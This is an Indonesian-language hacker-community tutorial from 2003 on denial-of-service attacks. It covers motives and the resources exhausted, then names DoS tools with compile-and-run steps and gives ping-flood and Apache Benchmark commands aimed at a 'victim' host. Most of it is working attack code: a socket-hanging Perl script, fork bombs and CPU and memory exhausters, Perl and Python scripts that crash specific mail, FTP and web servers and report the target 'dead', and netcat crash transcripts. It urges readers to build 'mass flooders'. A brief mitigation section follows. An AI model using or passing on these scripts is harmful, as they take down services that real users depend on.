Serangan Denial of Service

Haddad Sammir (MOBY)
haddad@myrealbox.com
moby@echo.or.id
www.echo.or.id

Kata Pengantar

Pada dasarnya saya mencoba memberikan gambaran umum tentang Denial of Service atau yang lebih kita kenal dengan DoS. Beberapa pertanyaan yang mungkin bisa terjawab diantaranya :

1. Apa itu DoS ?
2. Apa motif cracker untuk melakukan itu ?
3. Bagaimana cara melakukannya ?
4. Apa yang harus saya lakukan untuk mencegahnya ?

Semuanya untuk anda, ENJOY !!.

Apa itu Denial of Service (DoS) ?

Denial of Service adalah aktifitas menghambat kerja sebuah layanan (servis) atau mematikan-nya, sehingga user yang berhak/berkepentingan tidak dapat menggunakan layanan tersebut. Dampak akhir dari aktifitas ini menjurus kepada tehambatnya aktifitas korban yang dapat berakibat sangat fatal (dalam kasus tertentu).

Pada dasarnya Denial of Service merupakan serangan yang sulit diatasi, hal ini disebabkan oleh resiko layanan publik dimana admin akan berada pada kondisi yang membingungkan antara layanan dan kenyamanan terhadap keamanan. Seperti yang kita tahu, keyamanan berbanding terbalik dengan keamanan. Maka resiko yang mungkin timbul selalu mengikuti hukum ini.

Beberapa aktifitas DoS adalah:

1. Aktifitas 'flooding' terhadap suatu server.
2. Memutuskan koneksi antara 2 mesin.
3. Mencegah korban untuk dapat menggunakan layanan.
4. Merusak sistem agar korban tidak dapat menggunakan layanan.

Motif penyerang melakukan Denial of Service

Menurut Hans Husman (t95hhu@student.tdb.uu.se), ada beberapa motif cracker dalam melakukan Denial of Service yaitu:

1. Status Sub-Kultural.
2. Untuk mendapatkan akses.
3. Balas dendam.
4. Alasan politik.
5. Alasan ekonomi.
6. Tujuan kejahatan/keisengan.

Status subkultural dalam dunia hacker, adalah sebuah unjuk gigi atau lebih tepat kita sebut sebagai pencarian jati diri. Adalah sebuah aktifitas umum dikalangan hacker-hacker muda untuk menjukkan kemampuannya dan Denial of Service merupakan aktifitas hacker diawal karirnya.

Alasan politik dan ekonomi untuk saat sekarang juga merupakan alasan yang paling relevan. Kita bisa melihat dalam 'perang cyber' (cyber war), serangan DoS bahkan dilakukan secara terdistribusi atau lebih dikenal dengan istilah 'distribute Denial of Service'. Beberapa kasus serangan virus semacam 'code-red' melakukan serangan DoS bahkan secara otomatis dengan memanfaatkan komputer yang terinfeksi, komputer ini disebut 'zombie' dalam jargon.

Lebih relevan lagi, keisengan merupakan motif yang paling sering dijumpai. Bukanlah hal sulit untuk mendapatkan program-program DoS, seperti nestea, teardrop, land, boink, jolt dan vadim. Program-program DoS dapat melakukan serangan Denial of Service dengan sangat tepat, dan yang terpenting sangat mudah untuk melakukannya. Cracker cukup mengetikkan satu baris perintah pada Linux Shell yang berupa ./nama_program argv argc ...

Denial of Sevice, serangan yang menghabiskan resource

Pada dasarnya, untuk melumpuhkan sebuah layanan dibutuhkan pemakaian resource yang besar, sehingga komputer/mesin yang diserang kehabisan resource dan manjadi hang. Beberapa jenis resource yang dihabiskan diantaranya:

A. Swap Space
B. Bandwidth
C. Kernel Tables
D. RAM
E. Disk
F. Caches
G. INETD

A. Swap Space

Hampir semua sistem menggunakan ratusan MBs spasi swap untuk melayani permintaan client. Spasi swap juga digunakan untuk mem-'forked' child process. Bagaimanapun spasi swap selalu berubah dan digunakan dengan sangat berat. Beberapa serangan Denial of Service mencoba untuk memenuhi (mengisi) spasi swap ini.

B. Bandwidth

Beberapa serangan Denial of Service menghabiskan bandwidth.

C. Kernel Tables

Serangan pada kernel tables, bisa berakibat sangat buruk pada sistem. Alokasi memori kepada kernel juga merupakan target serangan yang sensitif. Kernel memiliki kernelmap limit, jika sistem mencapai posisi ini, maka sistem tidak bisa lagi mengalokasikan memory untuk kernel dan sistem harus di re-boot.

D. RAM

Serangan Denial of Service banyak menghabiskan RAM sehingga sistem mau-tidak mau harus di re-boot.

E. Disk

Serangan klasik banyak dilakukan dengan memenuhi Disk.

F. Caches

G. INETD

Sekali saja INETD crash, semua service (layanan) yang melalui INETD tidak akan bekerja.

Teknik Melakukan Denial of Service

Melakukan DoS sebenarnya bukanlah hal yang sulit dilakukan. Berhubung DoS merupakan dampak buruk terhadap sebuah layanan publik, cara paling ampuh untuk menghentikannya adalah menutup layanan tersebut. Namun tentu saja hal ini tidak mengasikkan dan juga tidak begitu menarik.

Kita akan bahas tipe-tipe serangan DoS.

- SYN-Flooding
  SYN-Flooding merupakan network Denial ofService yang memanfaatkan 'loophole' pada saat koneksi TCP/IP terbentuk. Kernel Linux terbaru (2.0.30 dan yang lebih baru) telah mempunyai option konfigurasi untuk mencegah Denial of Service dengan mencegahmenolak cracker untuk mengakses sistem.
- Pentium 'FOOF' Bug
  Merupakan serangan Denial of Service terhadap prosessor Pentium yang menyebabkan sistem menjadi reboot. Hal ini tidak bergantung terhadap jenis sistem operasi yang digunakan tetapi lebih spesifik lagi terhadap prosessor yang digunakan yaitu pentium.
- Ping Flooding
  Ping Flooding adalah brute force Denial of Service sederhana. Jika serangan dilakukan oleh penyerang dengan bandwidth yang lebih baik dari korban, maka mesin korban tidak dapat mengirimkan paket data ke dalam jaringan (network). Hal ini terjadi karena mesin korban di banjiri (flood) oleh peket-paket ICMP. Varian dari serangan ini disebut "smurfing" (http://www.quadrunner.com/~chuegen/smurf.txt).

Serangan menggunakan exploits.

Beberapa hal yang harus dipahami sebelum melakukan serangan ini adalah:

A. Serangan membutuhkan Shell Linux (Unix/Comp)
B. Mendapatkan exploits di: http://packetstormsecurity.nl (gunakan fungsi search agar lebih mudah)
C. Menggunakan/membutuhkan GCC (Gnu C Compiler)

1. KOD (Kiss of Death)
   Merupakan tool Denial of Service yang dapat dugunakan untuk menyerang Ms. Windows pada port 139 (port netbios-ssn). Fungsi utama dari tool ini adalah membuat hang/blue screen of death pada komputer korban.
   Cara penggunaan:
   A. Dapatkan file kod.c
   B. Compile dengan Gcc: $ gcc -o kod kod.c
   C. Gunakan: $ kod [ip_korban] -p [port] -t [hits]
   Kelemahan dari tool ini adalah tidak semua serangan berhasil, bergantung kepada jenis sistem operasi dan konfigurasi server target (misalmya: blocking)
2. BONK/BOINK

Bong adalah dasar dari teardrop (teardrop.c). Boink merupakan Improve dari bonk.c yang dapat membuat crash mesin MS. Windows 9x dan NT

3. Jolt
   Jolt sangat ampuh sekali untuk membekukan Windows 9x dan NT. Cara kerja Jolt yaitu mengirimkan serangkaian series of spoofed dan fragmented ICMP Packet yang tinggi sekali kepada korban.
4. NesTea
   Tool ini dapat membekukan Linux dengan Versi kernel 2.0. kebawah dan Windows versi awal. Versi improve dari NesTea dikenal dengan NesTea2

5. NewTear
   Merupakan varian dari teardrop (teardrop.c) namun berbeda dengan bonk (bonk.c)
6. Syndrop
   Merupakan 'serangan gabungan' dari TearDrop dan TCP SYN Flooding. Target serangan adalah Linux dan Windows
7. TearDrop
   TearDrop mengirimkan paket Fragmented IP ke komputer (Windows) yang terhubung ke jaringan (network). Serangan ini memanfaatkan overlapping ip fragment, bug yang terdapat pada Windowx 9x dan NT. Dampak yang timbul dari serangan ini adalah Blue Screen of Death

Serangan langsung (+ 31337)

1. Ping Flood
   Membutuhkan akses root untuk melakukan ini pada sistem Linux. Implementasinya sederhana saja, yaitu dengan mengirimkan paket data secara besar-besaran.
   bash # ping -fs 65000 [ip_target]
2. Apache Benchmark
   Program-program Benchmark WWW, digunakan untuk mengukur kinerja (kekuatan) suatu web server, namun tidak tertutup kemungkinan untuk melakukan penyalahgunaan.
   bash $ /usr/sbin/ab -n 10000 -c 300 \
   http://korban.com/cgi-bin/search.cgi?q=kata+yang+cukup+umum
   (diketik dalam 1 baris!)
   Akan melakukan 10000 request paralel 300 kepada host korban.com
3. Menggantung Socket
   Apache memiliki kapasitas jumlah koneksi yang kecil. Konfigurasi universal oleh Apache Software Foundation adalah MaxClients 150, yang berarti hanyak koneksi yang diperbolehkan mengakses Apache dibatasi sebanyak 150 clients. Jumlah ini sedikit banyak dapat berkurang mengingat browser lebih dari 1 request simultan dengan koneksi terpisah -pisah.

   Penyerang hanya melakukan koneksi lalu diam, pada saat itu apache akan menunggu selama waktu yang ditetukan direktif TimeOut (default 5 menit). Dengan mengirimkan request simultan yang cukup banyak penyerang akan memaksa batasan maksimal MaxClients. Dampak yang terjadi, clien yang mengakses apache akan tertunda dan apa bila backlog TCP terlampaui maka terjadi penolakan, seolah-olah server korban tewas.

Script gs.pl (gantung socket)

```
#!/usr/bin/perl
#
# Nama Script  : gs.pl
# Tipe         : Denial of Service (DoS)
# Auth         : MOBY || eCHo --> moby@echo.or.id || mobygeek@telkom.net
# URL          : www.echo.or.id
#
use IO::Socket;
if (!$ARGV[1]) {
       print "Gunakan: perl gs.pl [host] [port] \n";
```

```
        exit;
}
for (1..1300) {
        $fh{$_}=new IO::Socket::INET
                PeerAddr=> "$ARGV[0]",
                PeerPort=> "$ARGV[1]",
                Proto => "tcp"
or die; print "$_\n"
}
# END. 27 Oktober 2003
# Lakukan dari beberapa LoginShell (komputer) !
```

DoS-ing Apache lagi !!

Beberapa contoh skrip perl untuk melakukan DoS-ing secara local.

1. Fork Bomb, habiskan RAM

```
#!/usr/bin/perl
fork while 1;
```

2. Habiskan CPU

```
#!/usr/bin/perl
for (1..100) { fork or last }
1 while ++$i
```

3. Habiskan Memory

```
#!/usr/bin/perl
for (1..20) { fork or last }
while(++$i) { fh{$i} = "X" x 0xff; }
```

4. Serangan Input Flooding

Saya mengamati serangan ini dari beberapa advisories di BugTraq. Remote Buffer Overflow yang menghasilkan segmentation fault (seg_fault) dapat terjadi secara remote jika demon (server) tidak melakukan verifikasi input sehingga input membanjiri buffer dan menyebabkan program dihentikan secara paksa.

Beberapa 'proof of concept' dapat dipelajari melalui beberapa contoh ini.

1. Serangan kepada IISPop EMAIL Server.

Sofie : Email server
Vendor : http://www.curtiscomp.com/
TIPE : Remote DoS

IISPop akan crash jika diserang dengan pengiriman paket data sebesar 289999 bytes, versi yang vunerable dan telah di coba adalah V: 1.161 dan 1.181

Script: iispdos.pl

```
#!/usr/bin/perl -w
#
# $0_            : iispdos.pl
# Tipe serangan  : Denial of service
# Target         : IISPop MAIL SERVER V. 1.161 & 1.181
# Auth           : MOBY & eCHo -> moby@echo.or.id || mobygeek@telkom.net
# URL            : www.echo.or.id
#
use IO::Socket;
if (!$ARGV[0]) {
        print "Gunakan: perl iispdos.pl [host] \n";
        exit;
```

```
}
# Data 289999 bytes
$buff = "A" x 289999;

print "Connecting ... >> $ARGV[0] \n";
$connect = new IO::Socket::INET (
                            PeerAddr=> "$ARGV[0]",
                            PeerPort=> "110",
                            Proto=> "tcp") or die;
                            print "Error: $_\n";
print "Connect !!\n";
print $connect "$buff\n";
close $connect;
print "Done \n";
print "POST TESTING setelah serangan \n";
print "TEST ... >> $ARGV[0] \n";
$connect = new IO::Socket::INET (
                            PeerAddr => "$ARGV[0]",
                            PeerPort => "110",
                            Proto => "tcp") or die;
                            print "Done !!, $ARGV[0] TEWAS !! \n";

print "Gagal !! \n";
close $connect;
# END.
```

2. Membunuh wzdftpd.

Sofie : wzdftpd
Vendor : http://www.wzdftpd.net

Proof of Concept:

```
% telnet 127.0.0.1 21
 Trying 127.0.0.1...
Connected to localhost.novel.ru.
Escape character is '^]'.
220 wzd server ready.
USER guest
331 User guest okay, need password.
PASS any
230 User logged in, proceed.
PORT
Connection closed by foreign host.
% telnet 127.0.0.1 21
Trying 127.0.0.1...
telnet: connect to address 127.0.0.1: Connection refused
telnet: Unable to connect to remote host
```

wzdftpd crash setelah diberikan perintah/command PORT !

3. Serangan 32700 karakter, DoS BRS WebWeaver.

Sofie : BRS WebWeaver V. 1.04
Vendor : www.brswebweaver.com
BugTraqer : euronymous /F0KP

}------- start of fadvWWhtdos.py ----------{

```
#! /usr/bin/env python
## #!/usr/bin/python (Py Shebang, MOBY)
###
# WebWeaver 1.04 Http Server DoS exploit
# by euronymous /f0kp [http://f0kp.iplus.ru]
########
# Usage: ./fadvWWhtdos.py
########
```

```
import sys
import httplib

met = raw_input("""
What kind request you want make to crash webweaver?? [ HEAD/POST ]:
""")
target = raw_input("Type your target hostname [ w/o http:// ]: ")
spl = "f0kp"*0x1FEF
conn = httplib.HTTPConnection(target)
conn.request(met, "/"+spl)
r1 = conn.getresponse()
print r1.status
```

}--------- end of fadvWWhtdos.py ----------{

Serangan diatas mengirimkan 32700 karakter yang menyebabkan server crash !

4. Buffer Overflow pada MailMAX 5

Sofie : IMAP4rev1 SmartMax IMAPMax 5 (5.0.10.8)
Vendor : http://www.smartmax.com
BugTraqer : matrix at 0x36.org

Remote Buffer Overflow terjadi apa bila user mengirimkan input (arg) kepada command SELECT. Dampak dari serangan ini adalah berhentiya server dan harus di-restart secara manual.

Contoh eksploitasi:

```
                        --------[ transcript ]-------
nc infowarfare.dk 143
* OK IMAP4rev1 SmartMax IMAPMax 5 Ready
0000 CAPABILITY
* CAPABILITY IMAP4rev1
0000 OK CAPABILITY completed
0001 LOGIN "RealUser@infowarfare.dk" "HereIsMyPassword"
0001 OK User authenticated.
0002 SELECT "aaa...[256]...aaaa"
                        --------[ transcript ]-------
```

Perhatian !, contoh eksploitasi diatas menggunakan NetCat (nc), anda bisa dapatkan tool ini pada url: http://packetstormsecurity.nl dengan kata kunci 'nc' atau 'netcat'

Jika kita perhatikan, serangan flooding memiliki kesamaan, yaitu - tentu saja - membanjiri input dengan data yang besar. Serangan akan lebih efektif jika dilakukan pada komputer esekutor yang memiliki bandwidth lebar.

Dengan mempelajari kesamaan serangan, step yang dilakukan adalah:
A. Connect ke korban (host, port).
B. Kirimkan paket data dalam jumlah besar.
C. Putuskan koneksi > selesai.

Dari step diatas, kita bisa membuat sebuah skrip universal untuk melakukan serangan DoS.
Skrip ini membutuhkan 3 argumen yaitu: target_address (host/ip target), target_port (port koneksi ke server korban), dan data (jumlah paket data yang akan dikirim).

-- udos.pl --

```
#!/usr/bin/perl
#
# $0   : udos.pl
# Auth : MOBY & eCHo -> moby@echo.or.id | mobygeek@telkom.net
# URL  : www.echo.or.id
#
```

```
use IO::Socket;
#
if (!$ARGV[2]) {
       print "Gunakan % perl udos.pl [host] [port] [data] \n";
       print "Contoh :\n";
       print "\t $ perl udos.pl 127.0.0.1 21 50000 \n";
       exit;
}
# Siapkan data
$buffer = "A" x $ARGV[2];
# Connect -> Korban
print "Connecting ... -> $ARGV[0] \n";
$con = new IO::Socket::INET (
             PeerAddr=> "$ARGV[0]",
             PeerPort=> "$ARGV[1]",
             Proto=> "tcp") or die;
             print "Error: $_ \n";
# Connect !
print "Connect !! \n";
print $con "$buffer\n";
close $con;
print "Done. \n";
print "POST TESTING setelah serangan \n";
print "TEST ... >> $ARGV[0] \n";
$connect = new IO::Socket::INET (
                           PeerAddr => "$ARGV[0]",
                           PeerPort => "$ARGV[1]",
                           Proto => "tcp") or die;
                           print "Done !!, $ARGV[0] TEWAS !! \n";

print "Gagal !! \n";
close $connect;
# End.
```

-- udos.pl --

Skrip sederhana diatas hanya melakukan hubungan dengan server korban, lalu mengirimkan flood dan melakukan post testing. Dengan sedikit pemprograman anda dapat membuat sebuah 'Mass Flooder' atau 'Brute Force Flooder', tergantung pada kreatifitas anda !

Penanggulangan serangan Denial of Service.

Sejujurnya, bagian inilah yang paling sulit. Anda bisa lihat bagaimana mudahnya menggunaka sploits/tool untuk membekukan Ms Windows, atau bagaimana mudahnya melakukan input flooding dan membuat tool sendiri. Namun Denial of service adalah masalah layanan publik. Sama halnya dengan anda memiliki toko, sekelompok orang jahat bisa saja masuk beramai-ramai sehingga toko anda penuh. Anda bisa saja mengatasi 'serangan' ini dengan 'menutup' toko anda - dan ini adalah cara paling efektif - namun jawaban kekanak-kanakan demikian tentu tidak anda harapkan.

- Selalu Up 2 Date.
  Seperti contoh serangan diatas, SYN Flooding sangat efektif untuk membekukan Linux kernel 2.0.*. Dalam hal ini Linux kernel 2.0.30 keatas cukup handal untuk mengatasi serangan tersebut dikarenakan versi 2.0.30 memiliki option untuk menolak cracker untuk mengakses system.

- Ikuti perkembangan security
  Hal ini sangat efektif dalam mencegah pengerusakan sistem secara ilegal. Banyak admin malas untuk mengikuti issue-issue terbaru perkembangan dunia security. Dampak yang paling buruk, sistem cracker yang 'rajin', 'ulet' dan 'terlatih' akan sangat mudah untuk memasuki sistem dan merusak - tidak tertutup kemungkinan untuk melakukan Denial of Service -.
  Berhubungan dengan 'Selalu Up 2 Date', Denial of service secara langsung dengan

Flooding dapat diatasi dengan menginstall patch terbaru dari vendor atau melakukan up-date.

- Teknik pengamanan httpd Apache.

  Pencegahan serangan Apache Benchmark.
  Hal ini sebenarnya sangat sulit untuk diatasi. Anda bisa melakukan identifikasi terhadap pelaku dan melakukan pemblokiran manual melalui firewall atau mekanisme kontrol Apache (Order, Allow from, Deny From). Tentunya teknik ini akan sangat membosankan dimana anda sebagai seorang admin harus teliti.
  Mengecilkan MexClients juga hal yang baik, analognya dengan membatasi jumlah pengunjung akan menjaga toko anda dari 'Denial of Service'. Jangan lupa juga menambah RAM.

- Pencegahan serangan non elektronik.
  Serangan yang paling efektif pada dasarnya adalah local. Selain efektif juga sangat berbahaya. Jangan pernah berfikir sistem anda benar-benar aman, atau semua user adalah orang 'baik'. Pertimbangkan semua aspek. Anda bisa menerapkan peraturan tegas dan sanksi untuk mencegah user melakukan serangan dari dalam. Mungkin cukup efektif jika dibantu oleh kedewasaan berfikir dari admin dan user bersangkutan.

Penutup

Berbicara masalah security merupakan hal yang mengasikkan. Teknik-teknik intrusi baru begitu unik dan sebagai seorang geek saya yakin 'keindahan pengetahuan diatas segalanya'. Anda tidak akan melakukan hal-hal bodoh seputar dokumen ini dan ingat selalu 'kita tidak pernah tahu segalanya'. Mulailah belajar, perhatikan dunia dan kuasai ! Anda akan terkagum, betapa indahnya semesta ini.

Terima kasih kepada echo-staff dan semua rekan-rekan yang telah berperan dalam penyusunan artikel ini. Tidak lupa saya ucapkan salam persahabatan kepada semua member dan high council IndoHack, K-Elektronik dan Neoteker.

Referensi dan bacaan lebih lanjut.

- Kejahatan Internet, Trik Aplikasi dan Tip Penanggulangannya.
  R. Kresno Aji, Agus Hartanto, Deni Siswanto, Tommy Chandra Wiratama.
  Elexmedia Komputindo, ISBN: 979-20-3249-5
- 7 Cara Isengi Apache dan kiat mengatasinya.
  Steven Haryanto, Masterweb Magazine Oktober 2001
- Introduction to Denial of Service
  Hans Husman, t95hhu@student.tdb.uu.se
- CERT ADVISORIES.
  www.cert.org
- Packet Storm Security
  http://packetstromsecurity.nl
- BugTraq
  www.securityfocus.com

Biografi Penulis

Haddad Sammir lahir di Padang, 24 Maret 1987. Pertama sekali mengenal komputer dan menjadi penggemar komputer sejak tahun 2001 saat masih dibangku SLTP. Pada tahun itu juga mengenal Linux dan terbiasa dengan mengganti-ganti Distro dengan alasan “bosan”. Pernah menggunakan RedHat berbagai versi, Trustix, Mandrake dan Debian juga menggunakan FreeBSD. Menyenangi Linux hanya dengan alasan “unik” . Penulis

juga seorang “Perl Monger” menggunakan Perl dalam berbagai kesempatan, walaupun hanya untuk menyampaikan pesan “Hello World”.

Penulis sekarang sedang menyelesaikan pendidikan sekolah menengah umum (SMU) dan sedang bersiap-siap untuk menghadapi ujian akhir nasional (UAN). Penulis salah seorang founder eCHo – indonEsian Community for Hackers and Opensource – dan berkeinginan untuk mengembangkan komunitas penggemar komputer, InsyaAllah setingkat DefCon atau HAL